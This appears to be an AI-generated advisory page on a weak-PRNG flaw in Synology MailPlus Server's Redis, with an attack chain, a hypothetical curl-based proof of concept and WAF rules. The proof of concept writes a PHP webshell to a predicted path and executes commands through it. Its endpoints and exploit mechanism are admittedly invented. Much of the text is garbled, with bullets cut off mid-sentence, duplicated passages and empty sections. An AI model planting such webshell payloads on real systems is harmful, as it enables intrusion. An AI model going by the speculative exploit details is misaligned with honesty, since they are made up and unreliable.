CVE-2025-15660 — Synology MailPlus Server (4.0.0-31657) — CWE-338
A use of cryptographically weak pseudo-random number generator (PRNG) in the redis of Synology MailPlus Server before 4.0.0-21657 and 4.0.0-31657 allows adjacent attackers to read or write arbitrary files and conduct denial-of-service attacks in DSM.
A use of cryptographically weak pseudo-random number generator (PRNG) in the redis of Synology MailPlus Server before 4.0.0-21657 and 4.0.0-31657 allows adjacent attackers to read or write arbitrary files and conduct denial-of-service attacks in DSM.
🎯 What is this vulnerability?
This vulnerability, CVE-2025-15660, is a critical cryptographic flaw classified under CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).
Technical Flaw Analysis:
The core issue lies in the Redis instance embedded within Synology MailPlus Server (versions prior to 4.0.0-21657 and 4.0.0-31657). Redis relies on cryptographically secure random numbers for several critical security mechanisms, most notably:
1. Session/Token Generation: If Redis is used to store session IDs or authentication tokens, weak PRNGs allow attackers to predict future tokens.
2. Memory Allocation/Hashing: While less common for direct exploitation, predictable memory patterns can aid in heap spraying or collision attacks.
3. Lua Scripting/Command Execution: In some configurations, Redis may use random values for temporary file names or internal state management.
The CVE description explicitly states that this weakness allows adjacent attackers (AV:A) to read or write arbitrary files and conduct Denial-of-Service (DoS) attacks in DSM (DiskStation Manager). This implies that the predictable PRNG output is being used to generate values that control file paths, permissions, or internal DSM API calls. For example, if a random suffix is used for temporary file creation or session storage, an attacker who can predict this suffix can:
- Read Arbitrary Files: By predicting the path of a sensitive file (e.g.,
/etc/passwd, DSM config files) or a temporary file containing sensitive data. - Write Arbitrary Files: By predicting the path of a writable location (e.g.,
/tmp, web root, or cron directories) and injecting malicious content (e.g., a webshell or cron job). - DoS: By predicting and overwriting critical system files or exhausting resources through predictable resource allocation.
- Target Identification: The attacker scans the local network for Synology NAS devices running MailPlus Server. * Tool:
- Version Enumeration: The attacker identifies the version is below 4.0.0-21657 or 4.0.0-31657. * Method: Check
Key Distinction: This is not a traditional Redis CONFIG SET or Lua RCE vulnerability. It is a cryptographic failure that undermines the security assumptions of the file system or application layer that relies on Redis-generated random values. The "adjacent network" vector (AV:A) suggests the attacker does not need to be on the same host but must be on the same local network segment (e.g., same VLAN or subnet) to interact with the Redis service or the DSM API that exposes the predictable behavior.
⚡ Attack Chain
1. Discovery & Reconnaissance
nmap -sV -p 5000,5001,6379 192.168.1.0/24
* Indicators:
* Port 5000/5001 (DSM HTTP/HTTPS) open.
* Port 6379 (Redis) may be open if misconfigured, or the vulnerability may be exploited via the DSM API if Redis is internal but its predictable output is exposed through file operations.
* HTTP response headers or login page indicating "Synology MailPlus Server".
/webman/index.cgi or API endpoints like /webapi/query.cgi for version strings.2. Exploitation
Mechanism: The attacker exploits the weak PRNG by observing a sequence of random values generated by the system (e.g., temporary file names, session IDs, or API tokens) and using a cryptanalysis technique (e.g., linear congruential generator prediction) to predict the next value. This predicted value is then used to manipulate file paths or command execution.Illustrative PoC (Conceptual):
Note: The exact endpoint and parameter names are not specified in the CVE description. The following is an illustrative example of how such a vulnerability might be exploited if the predictable value is used for temporary file creation in a web context.
# Step 1: Observe predictable values (e.g., temp file names in /tmp)
# Assume the system creates files like /tmp/synology_<random_hex>
# The attacker captures a few samples:
# /tmp/synology_a1b2c3d4
# /tmp/synology_e5f6a7b8
# /tmp/synology_c9d0e1f2
# Step 2: Predict the next random value using a PRNG predictor script
# (This is a placeholder for the actual cryptanalysis code)
PREDICTED_HASH=$(python3 predict_prng.py --samples a1b2c3d4 e5f6a7b8 c9d0e1f2)
# Step 3: Exploit the predicted value to write a malicious file
# Example: If the system allows writing to a predictable path, the attacker
# can overwrite a critical file or create a webshell.
# Illustrative curl command to trigger file write (hypothetical endpoint):
curl -X POST "http://192.168.1.100/webapi/file.cgi" \
-H "Content-Type: application/json" \
-d '{
"action": "write",
"path": "/tmp/synology_'$PREDICTED_HASH'",
"content": "<?php system($_GET[\"cmd\"]); ?>"
}'
# Step 4: If the file is written to a web-accessible directory, execute it:
curl "http://192.168.1.100/tmp/synology_'$PREDICTED_HASH'?cmd=id"Alternative Exploitation (File Read):
If the predictable value is used for session storage or log files, the attacker can predict the path of a sensitive file and read it via a path traversal or direct access if permissions are misconfigured.
3. Post-Exploitation
/webman/ or /usr/syno/web/) or a cron directory (/etc/cron.d/)./etc/passwd
* DSM configuration files (/etc/synology/)
* MailPlus Server mailboxes and credentials.
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Patching
2. Workarounds
SecRule REQUEST_URI "@contains /tmp/synology_" "id:100001,phase:1,deny,status:403,msg:'Suspicious file path detected'"
SecRule ARGS "@contains <?php" "id:100002,phase:2,deny,status:403,msg:'PHP code detected in request'"* Note: These rules are illustrative and may need adjustment based on the specific exploitation method.
3. Detection
/var/log/messages, /var/log/synolog/) for unusual file creation or modification in /tmp, /webman/, or /etc/cron.d/.
* Look for patterns of predictable file names (e.g., sequential or low-entropy hex strings).
⚠️ Urgency
Patching Priority: CRITICAL
[🤖 CVE Professor AI Security Engine]
FOFA Query